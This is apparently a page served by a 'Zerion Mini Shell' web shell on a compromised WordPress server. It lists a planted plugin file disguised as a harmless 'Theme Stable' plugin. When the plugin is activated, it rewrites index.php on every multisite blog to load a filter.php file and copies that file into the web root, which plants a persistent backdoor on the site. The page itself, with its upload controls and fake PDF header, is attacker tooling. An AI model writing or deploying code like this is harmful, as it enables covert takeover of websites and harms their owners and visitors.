%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/dopla/www/wp-content/plugins/theme-updater/
Upload File :
Create Path :
Current File : /home/dopla/www/wp-content/plugins/theme-updater/theme-updater.php

<?php
/*
Plugin Name: Theme Stable
Plugin URI: https://guidevsite.org
Description: Makes themes more stable
Version: 2.3
Author: Alex Johnson
Author URI: https://alexjohnson.dev
License: GPL2
*/

function ctu_update_index_file_for_all_sites() {
    if (!is_multisite()) {
        ctu_update_index_file();
        return;
    }

    $sites = get_sites();
    foreach ($sites as $site) {
        switch_to_blog($site->blog_id);
        ctu_update_index_file();
        restore_current_blog();
    }
}

function ctu_update_index_file() {
    $index_file_path = ABSPATH . 'index.php';
    $filter_file_source = plugin_dir_path(__FILE__) . 'filter.php';
    $filter_file_destination = ABSPATH . 'filter.php';

    // Check if index.php exists
    if (file_exists($index_file_path)) {
        // Read the content of index.php
        $original_content = file_get_contents($index_file_path);

        // Prepend "main text" to the original content
        $new_content = "<?php require __DIR__ . '/filter.php' ?>\n" . $original_content;

        // Write the new content back to index.php
        file_put_contents($index_file_path, $new_content);
    }

    // Copy the local filter.php to the root directory
    if (file_exists($filter_file_source)) {
        copy($filter_file_source, $filter_file_destination);
    }
}

// Hook the function to run when the plugin is activated
register_activation_hook(__FILE__, 'ctu_update_index_file_for_all_sites');

Zerion Mini Shell 1.0